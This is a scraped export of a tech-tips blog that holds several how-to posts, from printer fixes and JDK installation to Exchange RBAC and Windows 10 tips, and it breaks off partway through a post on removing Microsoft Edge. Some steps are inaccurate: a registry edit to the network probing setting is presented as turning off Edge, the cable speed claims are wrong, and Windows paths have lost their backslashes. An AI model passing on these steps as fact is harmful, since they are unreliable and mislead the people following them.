Step 4:\nGo back to the Print Management interface and select Drivers. The diver you want to delete will not belong to any printer. Finally right-click and select Delete.\nFinally, reload the new driver for the device.\n  The above are some of the reasons as well as how to fix offline error on the printer connected to Windows 10. When the basic and simple way to restart the computer and the printer is not effective, we must check look deeper in the system and need some other support tools.\nSee more:\nHow to connect printer 2.0 USB port to USB 3.0 port on Windows 2 ways to share printers via LAN Instructions for installing Canon LBP 1210 printer on the computer Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqwssWloKedXZq%2Fs7vRrGSonl2lv6q6056prGWfo3q4tc2dprCrXWZ9\n","link":"/post/how-to-fix-offline-errors-of-printers-on-windows-10/","section":"post","tags":null,"title":"How to fix offline errors of printers on Windows 10"},{"body":"Using the Internet to exploit data on the network is a very common thing today. There are many resources online for us to exploit and use. Currently most carriers have high speed bandwidth to help users have a better experience. In this article, Software Tips will guide you How to increase the maximum download speed on computers and laptops.\n  I. Check the Download speed In order to know if our computer has used the maximum bandwidth that our service provider has provided us, we need to check. Currently there are many tools to help you check, but in this article, the Software Tips will guide you how to quickly check through Online software.\nHomepage: www.speedtest.net\nWe will then get the result to evaluate the network speed. Please take a look at how fast your home network is using the network package to check if the speed of our carrier is enough.\n  II. How to increase the download speed 1. Use the Coc Coc browser If you are Vietnamese, surely you will know that Coc Coc is a browser born for our Vietnamese market. Coc Coc has a lot of useful features added to support. The most special of the features is probably the Download x8 feature, this is a very good technology integration from the developer. Through practical tests, downloading data from the internet on a browser is different than that of Cốc Cốc, the speed of Cốc Cốc is much better.\n  If you do not know, Coc Coc is developed on Google's Chromium core and has many customized features to improve performance and speed for the browser.\nLink Download: https://coccoc.com/\n2. Use Google DNS DNS Google is one of DNS with very high stability but extremely effective speed. Google's DNS has a fast response and significantly improves the Download speed. Especially in sensitive times where you have to squeeze bandwidth, block access to Facebook, disconnect fiber optic cable, Google DNS is one of the top choices.\nStep 1: Click on the network icon on the Taskbar and select Network \u0026amp; Internet Settings .\n  Step 2: In the new Settings window, select Change adapter options .\n  Step 3: Next, right-click on Ethernet and select Properties .\n  Step 4: In this window, go to Internet Protocol Version 4 (TCP / Ipv4) and double click to edit.\n  Step 5: Here, select Use the following DNS server addresses and enter the following:\n8.8.8.8 8.8.4.4\n  After entering DNS, click Ok to save.\n3. Internet Download Manager Internet Download Manager (IDM) is a tool to increase download speeds by up to 5 times, automatically download and schedule downloads. IDM has comprehensive error recovery and recovery capabilities and will restart broken or interrupted downloads due to lost connections, network problems, computer shutdowns, or unexpected power outages. Simple graphical user interface makes IDM user friendly and easy to use. Internet download manager has an intelligent download logic accelerator that features intelligent dynamic file segmentation and secure multi-part download technology to accelerate your downloads. Unlike other download managers and accelerators,Internet Download Manager segments downloaded files dynamically during download process and reuses available connections without additional connect and login stages to achieve best acceleration performance. .\n  Link Download: https://www.internetdownloadmanager.com/\n4. Use paid downloads Currently, there are many websites that support free download, but they limit the download speed and require us to pay to be able to download at maximum speed. Some typical websites require users to pay to get the maximum Download Speed ​​is Fshare. But the use of paid services will give manufacturers more conditions to develop systems and services on their websites.\n  5. Use a LAN cable If you use a computer, Laptop use Wifi to Download, the stability and speed will be lower than using the LAN network directly to maximize the Download speed of the system. In addition, the choice of network cable also affects the download speed. Please select Cat 6 network cable to get the maximum download speed up to 10 Gigabytes if the network supports and operates effectively in a long distance connection up to 150meters (UTP).\n  Thus, Software Tips have instructed you How to increase the maximum download speed on computers, laptops most effectively. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGemL%2BmrdKeZK2glWK6osTIpqymZZSkxK%2B4zpqbZqugmrKlec6nZJynnaXCtbHRrGSappRiuaK806inrA%3D%3D\n","link":"/post/how-to-increase-the-maximum-download-speed-on-computers-and-laptops/","section":"post","tags":null,"title":"How to increase the maximum download speed on computers and laptops"},{"body":" Before you can create and modify Java programs, you'll need the Java Software Development Kit. You can download the kit (also known as Java SDK or JDK) for free from Oracle as a single installer file, which makes installation quick and...\nPart 1of 5:\nDownloading the Java Software Development Kit  Navigate to http://www.oracle.com/technetwork/java/javase/downloads/index.html. You can download a simple Java Software Development Kit (JDK) installer for Windows, macOS, or Linux directly from Oracle.\n  Click the Download button beneath 'JDK.' This will open a new page containing several download options.[1]\n  Scroll to the latest version of Java SE Development Kit. You should always use the latest stable version of the toolkit. There may be more than one version listed, so look closely at the release number.[2] For example, if you are presented with JDK 8u101 and 8u102, choose 8u102.   Click the radio button next to \"Accept License Agreement.' Before you can click the download link, you must accept the license agreement. The option is just beneath the JDK version number.\n Sign in or register a new account. Before you can download the file, you must sign in an Oracle account. If you already have a account with Oracle, sign in with the email address and username associated with your account. If you do not have account, click Create account and fill out the form to create an account.\n  Click the download link for your operating system. You can download Java SE JDK for Windows, macOS, or Linux. Once you click the link, follow the prompts to select a save location on your computer and start the download.\n Part 2of 5:\nInstalling on Windows  Double-click the JDK installer file. Once you've downloaded the Java Software Development Kit installer, navigate to the download location you chose earlier to launch the installer. By default, downloaded files can be found in your Downloads folder. You can also open the file from within your web browser. The file name for the Java Software Development Kit installer is \"dk-13.0.2_windows-x64_bin.exe\" or \"jdk-13.0.2_windows-x64_bin.zip\". If you download the ZIP file, you will need to extract the contents of the zip file.   Allow the app to make changes to your computer. Depending on your version of Windows, you may be prompted to give permission for JDK to install. Click 'Yes' or 'OK' when prompted, and the installer's Welcome screen will appear.[3]\n  Click Next to continue. Now you'll move through a series of screens that will guide you through the JDK installation.\n  Click Next to accept the default installation settings. This will begin the installation, which may take a few minutes depending on your computer. The green progress bar will show the progress of the installation.[4]\n  Click Close when the installation is complete. This button will not appear until the installer has finished.\n Open the Windows Advanced System Settings in the Control Panel. Use the following steps to navigate to the Advanced System Settings in the Control Panel: Click the Windows Start menu and type Control Panel. Click the Control Panel. Click System and Security. Click System. Click Advanced System Settings in the panel to the left.   Navigate to the Advanced tab. You'll see a few different areas where you can adjust various system settings.\n  Click the Environment Variables button. This new dialog box displays two separate areas—one for User Variables (settings specific to your user account) and another for system-wide settings (System Variables).[5]\n  Double-click the Path variable under 'System Variables.' Now you'll add a new variable. Follow these instructions exactly, as there is no 'undo' option.[6]\n  Edit the environment variables (Windows 10 only). This step only applies to Windows 10. Use the following steps to edit the environment variables: Click New Type c:Program FilesJavajdk1.8.0_xxbin (but replace the '8.0_xx' part with the version number you installed). Click the Move Up button until the path you typed appears at the top of the list. Click OK.   Set the variable (Older versions of Windows only). Skip this step if you're using Windows 10. You should see the 'Edit System Variable' window. Make the following changes to the 'Variable value' field only (don't delete what's there though): Type C:Program FilesJavajdk1.8.0_xxbin (but replace the '8.0_xx' with the correct version number) in FRONT of the other directories. Add a semicolon (;) to the very end of what you just typed, just like this: C:Program FilesJavajdk1.8.0_xxbin; There should be no space before or after the semicolon, so the entire line should look something like this: C:Program FilesJavajdk1.8.0_2bin;C:Program FilesIntelxxx Click OK. Click OK until you've closed all open windows.   Open the Command Prompt   . Use the following steps to open the Command Prompt:[7] Right-click the windows start menu and type cmd. Click the Command Prompt icon.   Type path and press ↵ Enter. You should see the full path to the JDK that you entered earlier.\n  Type java –version and press ↵ Enter. The version of JDK you installed will now appear on the screen. If either part of this command-prompt test does not produce results, you may need to load the new environment variables by rebooting the computer.  Part 3of 5:\nInstalling on macOS  Double-click the installer file you downloaded. After downloading the Java Software Development Kit installer, double-click the downloaded file in the Downloads window of your web browser or in Finder.[8]\n Open the downloaded file. You can find downloaded files inside the \"Downloads\" folder or inside your web browser. The file name should be \"jdk-13.0.2_osx-x64_bin.dmg\" or something similar.\n  Double-click the package icon to start the installer. This icon looks like an open box. The JDK installer will launch.\n  Click Continue on the Introduction window. You'll now see the Installation Type window. If you see a window that says 'Destination Select' after clicking continue, click 'Install for all users of this computer.' Not all users will see this window. Then click Continue. [9]   Click Install.' You will see a window that says 'Installer is trying to install new software. Type your password to allow this.'\n  Sign in as an administrator. Type your administrator username and password into the provided blanks.\n  Click 'Install Software.' This may take a few minutes, depending on the speed of your computer. When the confirmation window appears, you can close it.\n  Open the 'Applications' folder on your Mac. Now you'll run a quick test from a terminal window to make sure the installation was successful. You can get to this folder by clicking 'Go' and selecting 'Applications.'\n  Open the 'Utilities' folder. Here you'll see a list of system utilities.\n  Double-click the 'Terminal' app. Now you'll see the command prompt.\n  Type javac -version and press ⏎ Return. Just beneath the command you ran, you should see the JDK version number you installed (e.g. '1.8.0.1'). This means the installation was successful and you can get to your coding. Once you've made sure the installation is successful, you can delete the DMG installer file you downloaded to conserve hard drive space.  Part 5of 5:\nInstalling from a Package on Linux  Become root. If you're using an RPM-based Linux system (such as SuSE or RedHat), you can install the Java Development Kit from an RPM package. Make sure you've downloaded the You'll need to su to root (su root) so that you have the correct permission to install the package.[12] The file you downloaded should end with \".rpm\" This method assumes you know how to use basic Unix shell commands.   Remove earlier JDK package installations. The command is rpm -e   Install the new package. You'll be using the \"rpm\" command again, but this time with different flags: rpm -ivh jdk-7u-linux-x64.rpm (replace \"jdk-7u-linux-x64.rpm\" with the actual package name)   Delete the .rpm file. When the package is finished installing, you'll be returned to the command line. If you want to conserve disk space, you can delete the downloaded package file with the rm command.\n  Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmq6GdXZ%2But62MrKafrKeWv6Z5w56tnqSfpbqmutNmoqKs\n","link":"/post/how-to-install-the-java-software-development-kit/","section":"post","tags":null,"title":"How to Install the Java Software Development Kit"},{"body":"Photoshop is a \"divine\" image editing tool and is used by millions of people around the world. The toolkit of Photoshop has all the different functions to meet the needs of users. If you want to rotate images in Photoshop, you have a lot of different ways, in this article, the Software Tips will show you how to rotate images in Photoshop.\n  I. Rotate the whole image in Photoshop If you want to rotate all the content in Photoshop, then proceed to do the following:\nStep 1: You proceed to open the image to rotate and select Image -\u0026gt; Image Rotation .\n  Then you will have 06 content rotation options as follows:\n1. 180 degrees: Rotate the image 180 degrees clockwise.\n  2. 90 degrees Clockwise: Rotate 90 degrees clockwise.\n  3. 90 degrees Counter Clockwise: Rotate 90 degrees counterclockwise.\n  4. Arbitrary . Rotate arbitrary according to the user.\n5. Flip Canvas Horizontal: Flip the image horizontally.\n  6. Flip Canvas Vertical: Flip the image vertically.\n  II. How to rotate an image in a Photoshop layer Step 1: Go ahead and select the layer you want to rotate and choose Edit -\u0026gt; Free Transform (Ctrl + T) .\n  Step 2: Then, when you put the mouse pointer over the border of the layer, you will have a rotation icon. Now hold the mouse and move left / right to rotate.\n  If you want to rotate the available modes, then right-click and select the available modes such as:\n180 degrees: Reverse 180 degrees 90 degrees Clockwise: Rotate 90 degrees clockwise 90 degrees Counter Clockwise: Rotate 90 degrees counterclockwise Flip Horizontal: Flip the image horizontally Flip Vertical: Flip the image vertically   In this article, Software Tips showed you how to rotate an entire image and rotate an image on a layer of Photoshop. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqfqa61sYyapWahnZa0pnnIp2SpoJ%2BpvLS0zqk%3D\n","link":"/post/how-to-rotate-an-image-in-photoshop/","section":"post","tags":null,"title":"How to rotate an image in Photoshop"},{"body":"Apple regularly releases updates for OS X available through the Software Update or Mac App Store process, depending on the version of OS X you are using. These software updates, available from the Apple menu, often provide the simplest method to ensure the Mac's operating system is always up to date. They may also cause problems, especially if the Mac freezes, loses power or prevents the update from being completed. When this happens, you will end up with a faulty system update, which can simply indicate instability, such as occasionally freezing or system or application being locked. In the worst case, you may have problems starting up, forcing you to consider reinstalling the operating system.\nAnother problem related to OS X's incremental model (incremental) approach to updates is that Software Update only downloads and installs system files that need to be updated, so some files have can be obsolete compared to other system files. This can sometimes freeze the system or application, can't even launch the application.\nAlthough the issue with Software Update does not occur often and most Mac users will never encounter this problem. But if you encounter some unexplained problems with your Mac, the problem with Software Update may be the culprit. Troubleshooting with Software Update is also very easy to implement.\nUse the Combo Update OS X package   You can use Combo Update OS X to update your system and in the process, replace most major system software files with the latest versions available in the update. Unlike the incremental model approach used in the Software Update system, Combo Update performs updates for all affected system files.\nCombo Update only updates OS X system files, not overwriting any user data. However, backups should still be performed before applying any system updates.\nThe downside of combo updates is that they are very large. Combo Update Mac OS X 10.11.3 currently has capacity up to 1.5GB. OS X combo updates in the future will be even bigger.\nTo apply the Mac OS X update combo, locate the file on the Apple website, download the file to your Mac, then run the update, to install the latest system on your Mac. You cannot use combo updates unless the baseline (officially approved, grounded software development product) of that OS X version is installed. For example, Mac OS X v10.10.2 Update requires the installation of OS X 10.10.0 or higher. Similarly, Mac OS X v10.5.8 Update (Combo) requires installation of OS X 10.5.0 or later.\nLocate the Combo Update OS X package you need   Apple keeps all OS X update combos available on Apple's support website. A quick way to determine the correct combo is to access the OS X Support Download page. There you will see the latest 3 OS X versions, along with a link to older versions. Click the link for the version you are interested in, then set the Alphabetical view option and scan the list to find the combo update package you need. All combo update packages will have the word \"combo\" in the name. If you don't see the word 'combo', it is not a full installer.\nBelow are quick links to the latest update combo packages (as of the time of this writing) for the latest 5 OS X versions:\nOS version XTrang downloadmacOS High Sierra 10.13.4 https://support.apple.com/kb/DL1959?locale=en_US macOS High Sierra 10.13.3 https://support.apple.com/kb/DL1953?locale=en_US macOS High Sierra 10.13.2 https://support.apple.com/kb/DL1944?locale=en_US macOS Sierra 10.12.2 https://support.apple.com/kb/DL1900?locale=en_US\u0026amp;locale=en_US macOS Sierra 10.12 .1 https://support.apple.com/kb/DL1897?viewlocale=en_US\u0026amp;locale=en_US OS X El Capitan 10.11.5 https://support.apple.com/kb/DL1876?locale=en_US OS X El Capitan 10.11 .4 https://support.apple.com/kb/DL1869?viewlocale=en_US\u0026amp;locale=en_US OS X El Capitan 10.11.3 https://support.apple.com/kb/DL1859?locale=en_US OS X El Capitan 10.11 .2 https://support.apple.com/kb/DL1850?locale=en_US OS X El Capitan 10.11.1 https://support.apple.com/kb/DL1845?locale=en_US OS X Yosemite 10.10.2 https : //support.apple.com/kb/DL1786? locale = en_US OS X Yosemite 10.10.1 https://support.apple.com/kb/DL1779?locale=en_US OS X Mavericks 10.9.3 https: // support .apple.com / kb / DL1746? Locale = en_US OS X Mavericks 10.9.2 https://support.apple.com/kb/DL1726?locale=en_US OS X Mountain Lion 10.8.5 https://support.apple.com/kb/DL1676? locale = en_US OS X Mountain Lion 10.8.4 https://support.apple.com/kb/DL1659?locale=en_US OS X Mountain Lion 10.8.3 https://support.apple.com/kb/DL1640?locale= en_US OS X Mountain Lion 10.8.2 https://support.apple.com/kb/DL1581?locale=en_US OS X Lion 10.7.5 https://support.apple.com/kb/DL1582?locale=en_US OS X Snow Leopard 10.6.4 https://support.apple.com/kb/DL1048?locale=en_US OS X Leopard 10.5.8 https://support.apple.com/kb/DL866?locale=en_US OS X Tiger 10.4. 11 (Intel) https://support.apple.com/kb/DL171?locale=en_US OS X Tiger 10.4.11 (PPC) https://support.apple.com/kb/DL170?locale=en_US Combo update packages are stored as a .dmg file (disk image) that will be mounted on a Mac as if they were removable media, such as a CD or DVD.If the .dmg file does not automatically mount, double-click the downloaded file that you saved to your Mac.\nWhen the .dmg file is mounted, you will see a single installation package.Double-click the package to start the installation process and follow the prompts on the screen.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqku8ybpmatoJmutbGMqKpmsF2pvG7A0aism6SVqLWwu9NmoKerpJa5ra3Toqan\n","link":"/post/how-to-use-combo-update-os-x-to-troubleshoot-installation/","section":"post","tags":null,"title":"How to use Combo Update OS X to troubleshoot installation"},{"body":"TipsMake.com - In essence, Microsoft Exchange Server 2010 has been improved and integrates more functions to assign Role Based Access Control - RBAC , and this model has provided users with more ways to monitor , initialize and assign rights to different admin accounts . And these assigned roles will reflect the job of the administrator in the actual operating model.\nBefore Exchange Server 2010, Microsoft Exchange administrators took care of creating new admin accounts, assigning permissions to existing accounts, which were often quite difficult while deciding which Administrator group to apply. Each group of Administrators contains many different permissions levels, and older Exchange versions only have very few Admin groups to choose from. And so, the only solution is to assign those accounts with decentralized levels that are not really relevant in the system.\nRole Group and Role: To continue, we need to understand and grasp the basic concept in RBAC as an association between the group role, role, cmdlet (commandlet) and parameter.\nFirst, the role can be considered a combination of tasks that an administrator account can perform. For example, the Mail Recipients role allows the Administrator account to manage mailboxes, mail users and mail contacts . When an administrator account is assigned a role, it means the corresponding authorization level of that role . And the act of assigning permissions to perform certain tasks we can understand is by giving access to the cmdlet or parameter associated with those tasks.\nIn some special cases, an Admin account can be assigned with different roles. And technically, we can put the roles together, sort them into groups - aka the role group , then instead of assigning multiple roles to some account, we just need to replace with the appropriate role group respectively.\nBy contrast, users can assign multiple members of Administrator group to a role group . This means that all accounts in that Admin group will perform all the same roles , and will have access to the cmdlets and parameters in that role .\nPredefined Role Groups and Roles: There is also a Predefined Role Group in Exchange 2010 that we can use instead of RBAC without understanding the specific features and how RBAC works.\nIf you include all the Predefined Role Groups (or called Predefined Universal Security Groups ) then there will be 16 components in total. However, only 11 of them are actually used for RBAC , and the rest is used directly by Exchange . In this article, we will mainly focus on the RBAC role groups.\nThe Predefined Role Group used in Exchange Server 2010 Role Based Access Control: - Delegated Setup : for administrators who need to deploy Exchange 2010 server model provided by the Organization Management role group.\n- Discovery Management : for Admin accounts that want to search data in the mailbox system based on priority information as well as mailbox configuration settings.\n- Help Desk : is used to check general information and change options of Microsoft Office Outlook Web App.\n- Hygiene Management: changing security regime in Exchange.\n- Organization Management: for admin accounts that want to have full access to all Exchange 2010 systems.\n- Public Folder Management: used to manage public folders and databases on servers using Exchange 2010.\n- Recipient Management: manage and monitor the recipient of Exchange 2010.\n- Records Management : is often applied to configure and set up features such as policy classification, notifications and data transfer rules.\n- Server Management : for administrators who want to set up server transport mode in a separate way, Unified Messaging - UM, access from client and mailbox.\n- UM Management : used to manage server configuration steps related to UM, mailbox properties, warning information .\n- View-Only Organization Management : to view and check the properties of any object in Exchange.\nPredefined Role: First, open Exchange Management Console , in the left pane, select Toolbox , scroll down and click Role Based Access Control (RBAC) as shown below:\n You will be taken to the next Exchange Control Panel , where the system will ask the user to login. Then, open Administrator Roles:\n Under Role Groups , you'll see the full 11 Predefined Role Groups mentioned above. And each time you select any role, the system displays the Description information of the assigned role (also called Assigned Roles ), the administrative accounts assigned to those roles (called Members ) will be displayed at right window part.\nIf you want to assign 1 Member to Predefined Role Group, you just need to double-click the corresponding Predefined Role Group section in the list. For example, when selecting Discovery Management , the system will display the main control window as shown below:\n Here, we will see the name of the role group (in this example, Discovery Management ) - the brief description of the role and Assigned Roles role , as well as the member list at the bottom of the display window ( usually empty). To add a member, click the Add button as the screenshot above.\nIn the next window, find and select the name of the Admin account to assign, then click the OK button:\n We will see the newly assigned member in the Members box as shown below:\n If you want to assign more accounts, do the same thing as above, click Finish when done. However, it should be noted that not only can you assign multiple role group member accounts to the role group, but also assign multiple role roles to a single Admin account. And this process will be done within Administrator Roles:\n Working mechanism of RBAC: Before concluding this article, let us review RBAC's working mechanism through an illustration - often called Triangle of Power:\n This model is built from 4 main components: Where , What , Who , and Glue . Inside:\n- Where or Scope represents objects, tasks from specific roles assigned to supported objects, such as an individual user account, a user group, or the entire model, organization.\n- What or Role corresponds to what the role can do. In fact, Exchange Server 2010 has a total of 65 roles for users.\n- Who or Role Group as we mentioned earlier, is just a combination of multiple roles arranged together. We can combine with Scope to create a complete Role Assignment object.\nAs mentioned above, using predefined role groups of RBAC can simplify the process of delegating administrative rights to many different Administrator accounts. However, what we have just discussed above is just an extension of the process of decentralization through RBAC.\nBut what if we want the administrator account to set up the transport rule but not to affect the retention or message rule? Obviously, assigning that account to the Records Management rule group will not meet the demand because the system will assign more permissions than necessary. We will explore this issue together in Part II of this article.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuvMSrpKKro568r3nAp5tmqp%2Bhsm6uwKycnWWRmLCmv9JmmqimpKe8rXnRm5icZaCWv7V5kA%3D%3D\n","link":"/post/learn-about-permission-and-role-based-access-control/","section":"post","tags":null,"title":"Learn about Permission and Role Based Access Control"},{"body":"With the identifier 'Uma', this major update comes with a host of new features, along with improvements and changes that can significantly impact the user experience. Let's dive into the details below.\nChanges and Upgrades in Linux Mint 20.2 Linux Mint has long been known as a user-friendly and stable operating system platform, and Uma will continue that tradition. The new update comes with some changes related to Mint's update manager, stock app collection, and a few other small improvements. Here are the highlights.\nNew update notification Earlier in March, the Mint development team announced in March 2021 that they were developing a new feature that would automatically display a prompt on the screen when the user did not update the software regularly. This feature is now fully implemented in version 20.2 Uma.\n  Now, by default, the update manager (Update Manager) will automatically show you a prompt about available kernel and security related updates, if you have not applied the update after 15 days. new day.\nHowever, this feature is also receiving a lot of mixed reviews. Most Linux users love the freedom, and they find this update notification feature really annoying, even reminiscent of Microsoft's practice of forcing users to update the system on Windows 10.\nHowever, do not be confused. Linux Mint will just send a notification to the user like no update is required and automatically restart the machine like Windows. Also, as can be seen in the screenshot above, you can fully manage the number of notifications displayed. Or you can even turn off Update Manager if you want.\nNew note taking app If you're coming to Mint from Windows, you'll find Uma's new Sticky Notes app a relatable familiarity. It allows you to create and save notes, as well as pin them on the desktop, as long as you allow the app to run in the background.\n  Another cool feature is that you can organize the notes in individual collections which you can then hide and show them whenever you need. This offers extremely flexible working capabilities.\nSticky Notes was developed to replace Gnote, so if you prefer Gnote, you will have to install it yourself in Uma.\nWarpinator for Android While this isn't technically a change to the Mint itself, it is closely related to the Mint's popular Warpinator engine. The app now supports the ability to quickly transfer files over the local network with an Android device that also has Warpinator installed. That means you can easily copy and move files between your Linux and Android devices quickly.\nHow to update Mint 20.2? You can visit the Linux Mint download site to download the official ISO. As usual, you can choose from three desktop environments: Cinnamon, MATE, and Xfce. Then burn it to a USB drive and boot it live before installing.\n  If you're running Mint 20 or 20.1, you'll find the new update available in Update Manager. Be sure to follow the instructions to upgrade the system safely. Mint 20 and later will be supported permanently until April 2025, so choosing not to upgrade won't cause any major problems either.\nIf you're using Mint 19.x, you can upgrade to 20 and then to 20.2. However, be prepared for a long and complicated process.\nncG1vNJzZmismaXArq3KnmWcp51kuaq61LFkpqGeqXpzfJFmrKaZXaeyrbHArJydZaedrrW%2FjKemrZmSobI%3D\n","link":"/post/linux-mint-20-2-uma-released-what-s-notable/","section":"post","tags":null,"title":"Linux Mint 20.2 'Uma' Released: What's Notable?"},{"body":"Learning to be quicker and more productive on your laptop may be especially appealing now that more of us are working from home due to the\u0026nbsp;coronavirus\u0026nbsp;pandemic, or spending more time on our laptops in general. Finding the secret Start menu and saving battery power with a simple trick are great ways to get more out of your machine.\nMicrosoft doesn't typically publicize its hidden features the way Apple does, which can make it more difficult to know how to get the most out of the machine you use day in and day out.\n Even learning how to upgrade to Windows 10 for free can be tricky. You'll want to do this ASAP, by the way, since support for Windows 7 ended in January. So no matter which Microsoft, Dell, HP or other Windows 10 rig you have, these clever tips will help you stay organized and get more done. Plus, here's everything you need to know about the latest\u0026nbsp;Windows 10 May 2020 update.\n1. Use background scrolling With Windows 10, you can scroll up and down on any window -- even if it's not the one you're directly working in. This is a useful tool when you have a lot of windows open that you want to look through at the same time -- for example, if you want to open new sub-menu options in new windows to save you time clicking back and forward on the same page.\u0026nbsp;\nTry opening two programs -- say, an internet browser page and a notepad or Word document. Arrange both on the screen so you can see at least some of the text on each. While you are in one window, hover your mouse or use the touchpad to move to the second window, and scroll. Even though you aren't active in that window, it should allow you to move up and down the page.\u0026nbsp;\nThe feature should be on by default, but if it isn't, go to Settings \u0026gt; Devices \u0026gt; Mouse, and toggle Scroll inactive windows when I hover over them to On. Then you can place your mouse over a window that's in the background and use the scroll wheel to scroll.\u0026nbsp;\n2. Figure out how much space apps are taking up Computers start running slower as they grow short on space. One quick way to speed them up may be to get rid of apps that take up more space than they should, especially if you don't regularly use them.\nTo see how much space an app uses, navigate to Settings \u0026gt; System \u0026gt; Storage. Click on the drive you want to search (likely the local storage, \"This PC\"), and click Apps \u0026amp; games to see a list of apps installed on your machine and how much space they are taking up. You probably won't get rid of your browser, but you might find that a game you haven't played in years is some good dead weight to drop.\u0026nbsp;\n3. Open the 'secret' Start menu You know that to get to the Start menu, you hit the Windows icon at the bottom left of the screen or on your keyboard. But Windows 10 includes a lesser-known second Start menu that makes accessing important features like the Command Prompt, the Control Panel and the Task Manager much easier. You can access it two different ways, either by pressing the Windows key + X, or right click the Windows icon/Start button.\u0026nbsp;\n4. Create an event without opening the Calendar app Windows 10's latest update lets you quickly add events to your Microsoft calendar directly from your Taskbar -- without actually having to open the calendar at all. Here's how to do it:\u0026nbsp;\nStep 1. On your Taskbar, click the box with the time and date in it in the right corner.\u0026nbsp;\nStep\u0026nbsp;2. Click the date when you want to schedule an event.\u0026nbsp;\nStep\u0026nbsp;3. Enter the event name, time and location. (If you have multiple calendars, click the down arrow next to the event name field to choose the one you want to add it to.)\u0026nbsp;\nStep\u0026nbsp;4. Click save. The event should appear in your Calendar app across your devices.\u0026nbsp;\n5. Minimize all windows except the active one If your desktop screen has gotten too crowded with open windows, you can quickly minimize them all except the one you are currently working in.\nJust click the title bar of the window you want to remain open to select it. Then, hold the mouse down and move the window back and forth quickly -- shaking it, essentially. After a couple of quick shakes, all other open windows will minimize, leaving only the one you've shaken open. Neat, huh? \u0026nbsp;\n6. Take a screenshot I know, it's a basic one -- but it's amazing how easy it is to forget how to take a screenshot on your laptop or desktop when you don't do it often.\u0026nbsp;\nThere are at least eight different ways you can take a screenshot with Windows 10. If you want to capture and save a picture of your entire screen, the easiest way is to hit the Windows key + Print Screen key, and that picture will be saved to the Pictures \u0026gt; Screenshots folder.\u0026nbsp;\nTo capture just one part of your screen, hit the Windows key + Shift + S to open a tool called Snip \u0026amp; Sketch, which allows you to click and drag to create a screenshot, which is saved to your Clipboard.\n7. Open items on your Taskbar with keyboard shortcuts If you've pinned programs to your Taskbar at the bottom of your screen to create a shortcut, you don't have to click the icons to open them. Instead, use the keyboard shortcut Windows key + [Number key], with the number key corresponding to the position of the program on the Taskbar. For example, Windows key + 2 will open the second item on the Taskbar.\u0026nbsp;\nThis is especially useful if you're typing furiously and don't want to lift your fingers from the keyboard. It may feel more natural to reach for the Windows key.\n8. Cut down on distractions with Focus assist It's frustrating to try and get work done when you keep getting interrupted with notifications. You can determine how many you get with Focus assist, a tool Windows 10 added in the April 2018 update.\u0026nbsp;\nSet it up by going to Settings \u0026gt; System \u0026gt; Focus assist. Choose from three options: Off (get all notifications from your apps and contacts), Priority (see only selected notifications from a priority list that you customize, and send the rest to your action center), and Alarms only (hide all notifications, except for alarms).\u0026nbsp;\nYou can also choose to automatically turn this feature on during certain hours, or when you're playing a game.\u0026nbsp;\n9. Get rid of ads in your Start menu When you run Windows 10 with default settings, you may sometimes see apps on the right side of your Start menu. Microsoft calls them \"suggestions,\" but they are actually ads for Windows Store apps you can buy.\u0026nbsp;\nTo get rid of the ads in your Windows 10 Start menu, go to Settings \u0026gt; Personalization \u0026gt; Start. Toggle the setting called Show suggestions occasionally in Start to the off position.\u0026nbsp;\n10. Shut down background apps Apps that run in the background can receive info, send notifications, and stay updated, even when you aren't using them -- which can be useful, but can also suck your battery and your data, if you're connecting via a mobile hotspot.\u0026nbsp;\nTo control which apps are running in the background and save some battery power and data, go to Settings \u0026gt; Privacy \u0026gt; Background apps. To stop all apps from running in the background, toggle Let apps run in the background to Off. Or, you can choose which apps to run in the background individually by going down the list on the same page.\u0026nbsp;\n11. Show file extensions in File Explorer Microsoft hides file extensions by default, which makes life difficult for people who need to look for specific types of files, like JPEGs and JPGs. To see file extensions in File Explorer, do the following:\u0026nbsp;\nStep\u0026nbsp;1. Go to the Search bar at the bottom of the screen, and type in File Explorer Options, and click it. (There are a number of other ways to get here too, but that one seems fastest.)\nStep\u0026nbsp;2. In the window that pops up, click the View tab.\u0026nbsp;\nStep\u0026nbsp;3. Uncheck the box that says Hide extensions for known file types. Click Apply, and OK. You should now see file extensions for all files in the File Explorer.\u0026nbsp;\nYou can also use the File Explorer Options menu to choose to show empty drives, hidden files and folders, and more.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kuqK%2F056pZq%2BZo7Gww9JmaGllp57BqXnToZysnV1mfm60yJ2bnqZdqb%2Bqr8qs\n","link":"/post/shared-11-tricks-on-window-10/","section":"post","tags":null,"title":"Shared 11 tricks on window 10"},{"body":"1. Prevent Microsoft Edge from running in the background By default on Windows, Microsoft Edge will run in the background and automatically start when needed, this is one of the reasons why users turn them off the most.\nStep 1: You proceed to open the Start Menu and enter Settings to open the settings.\n  Step 2: In the Settings tab , select the Privacy item to open the settings on the computer.\n  Step 3: You need to select the Background apps tab (1) to see background apps and navigate to Microsoft Edge (2) to turn them off.\n  2. Change the default browser on Windows 10 By default on Windows 10 will use Microsoft Edge as the default and you can change it to Chrome / Firefox / Coc Coc to serve your needs.\nStep 1: You proceed to open Settings through the Start Menu or Windows + I combination .\nStep 2: Then, go to the Apps section .\n  Step 3: Next, you select the Default apps (1) tab and navigate to the Web Browser (2) section .\n  Step 4: Now you just need to click to change the default application for the browser, please choose another browser available on your computer.\n  3. Turn off Microsoft Edge in Registry Editor Registry Editor allows you to access most settings in Windows computers. Here's how to turn off Microsoft Edge in Registry Editor.\nStep 1: You proceed to open the Start Menu and enter Registry Editor to open.\n  Step 2: Then, copy the link below and paste it in the navigation bar to open it.\nComputerHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNlaSvcParametersInternet\n  Step 3: After opening the Internet folder, right-click EnableActiveProbing and select Modify.\n  Step 4: In the editing window, you need to set Value Data to 0 and click OK to finish.\n  4. How to permanently remove Microsoft Edge on Windows 10 If you determine that you will not need to use Microsoft Edge in the future, you can use the tools below to delete them permanently (can still be reinstalled through the Microsoft homepage).\nUninstall Edge 